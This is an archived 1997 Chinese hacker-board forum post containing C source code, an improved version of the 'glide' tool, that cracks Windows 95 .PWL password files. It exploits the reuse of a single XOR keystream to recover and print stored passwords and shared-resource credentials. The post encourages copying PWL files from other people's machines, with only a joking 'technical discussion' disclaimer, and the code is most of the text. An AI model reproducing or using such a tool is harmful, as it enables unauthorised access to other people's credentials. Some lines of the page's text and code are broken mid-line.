精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◇网络安全◇>>小技巧>>关于PWL......(2)

主题:关于PWL......(2)
发信人: badle()
整理人: starseacn(2001-09-21 21:24:48), 站内信件
发信人: raner (lilo), 信区: Hacker 
标  题: glide程序的改进 
发信站: BBS 水木清华站 (Tue Aug 19 11:36:26 1997) 
 
  由Registration Database system.dat极易解出Shared Directory, 因此若Wi
n95 
目录被共享(不需口令)则解出其余需口令的目录Easy FM! 但若Win95目录没共享
呢? 
Answer is: to use glide 将别的机器上的PWL文件拷回来,用glide解其资源,
很 
有可能找到泥所需的password,甚至是Full Accesss Password(仅为技术讨论 :-
) ) 
 
  但glide程序在反解资源指针时有点问题,以下程序为对其的改进。在 
password未知情况下的反解并不能保证对(这种反解利用了M$的愚蠢的错误,将同
 
一 Xor串用于加密许多不同串), 但在大多情况下应没问题. 
 
 ================ PWL.CPP 1997.8.16 ===================== 
 // Compiled with BC 3.1 
 
#include <stdio.h> 
#include <string.h> 
#include <ctype.h> 
#include <dir.h> 
 
unsigned char Data[10001];      // pwl file buffer, 10K should enough!
 
unsigned char keystream[1001];  // xor key stream 
int Rpoint[300];                // Resource pointers 
int size,maxr,cracked; 
 
void RecoverKeyStream() 

    int sizemask,i,rsz,pos; 
    int Rall[300]; 
    int keylen,len; 
 
    /* find allocated recources */ 
    sizemask=keystream[0]+(keystream[1]<<8);
for(i=0;i<256;i++) Rall[i]=0;
maxr=-1;
for(i=0x109;i<0x208;i++)
{
if(Data[i]!=0xff)
{
Rall[Data[i]]++;
if (Data[i]>maxr) maxr=Data[i]; 
        } 
    } 
    if (maxr == -1)  return;  // no resource 
    maxr=(((maxr/16)+1)*16); 
     // recource pointer table size appears to be divisable by 16 
 
    /* search after recources */ 
    keylen = 2 * maxr + 20 + 2; 
    Rpoint[0]=0x0208+keylen;   /* first recource */ 
 
    for(i=0;i<maxr;i++)
{
/* find size of current recource */
pos=Rpoint[i];
if (pos >= size) 
        { 
            printf("Decrypt pwl file error!\n"); 
            maxr = i; 
            break; 
        } 
        rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
pos+=rsz+2;

if(i<maxr-1)
{
while(pos < size)
{
len = (*(unsigned int*)(Data+pos)) ^ sizemask;
if (Rall[i+1] == 0 && len == 0)
break; // correct position
if (Rall[i+1] > 0 && len >= 2 && len <= keylen)
break; // may be correct position ?
pos+=2; // else, increase by 2
}
}
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;

/* insert Table data into keystream */
for(i=0;i <= maxr;i++)
{
keystream[20+2*i]^=Rpoint[i] & 0x00ff;
keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff; 
    } 
    cracked+=maxr*2+2; 

 
void DecryptResources() 

    int i,j,rsz; 
 
    /* decrypt resources */ 
    for(i=0;i<maxr;i++)
{
rsz=Rpoint[i+1]-Rpoint[i];
if (rsz>cracked) rsz=cracked; 
 
        if (rsz > 2) 
        { 
            printf("Recource[%02d] (length: %02d)\n",i,rsz); 
            for(j=0;j<rsz;j++)
{
unsigned char c = Data[Rpoint[i]+j]^keystream[j];
printf("%c", c >= 0x20 && c <= 0x7e ? c : '.');
}
printf("\n");
}
}
}

int main (int argc,char *argv[])
{
struct ffblk ffblk;
int i,done,index = 0;
FILE *fd;
char *name,ch;

if (argc<2)
{
printf("Usage: Pwl pwlfile(s) (eg: *.pwl)");
return 1;
}

done = findfirst(argv[1],&ffblk,0);
while (!done)
{
name = ffblk.ff_name;
printf("\n-----------File %2d: %11s------------\n", ++index,na
me);

/* read PWL file */
fd=fopen(name,"rb");
if (fd==NULL)
printf("can't open file %s",name);
else
{
size=0;
while(!feof(fd))
{
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);

/* copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked<0) cracked=0;
if(cracked>1000) cracked=1000; 
             memcpy(keystream,Data+0x208,cracked); 
 
             /* generate 20 bytes of keystream */ 
             for(i=0;i<20;i++)
{
ch=toupper(name[i]);
if(ch==0) break;
if(ch=='.') break;
keystream[i]^=ch; // xor UserName
}
cracked=20;
RecoverKeyStream();
// recover key stream (54 bytes or more)
if (maxr == -1)
printf("No resource!\n");
else DecryptResources();
}
done = findnext(&ffblk);
}
return 0;
}

--
※ 来源:·BBS 水木清华站 bbs.net.tsinghua.edu.cn·[FROM: 166.111.5.15]

--
飞天神舞──只有我喜欢!
广州网易主机http://badle.yeah.net
湖北襄樊主机http://badle.126.com

※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.101.155.44]

[关闭][返回]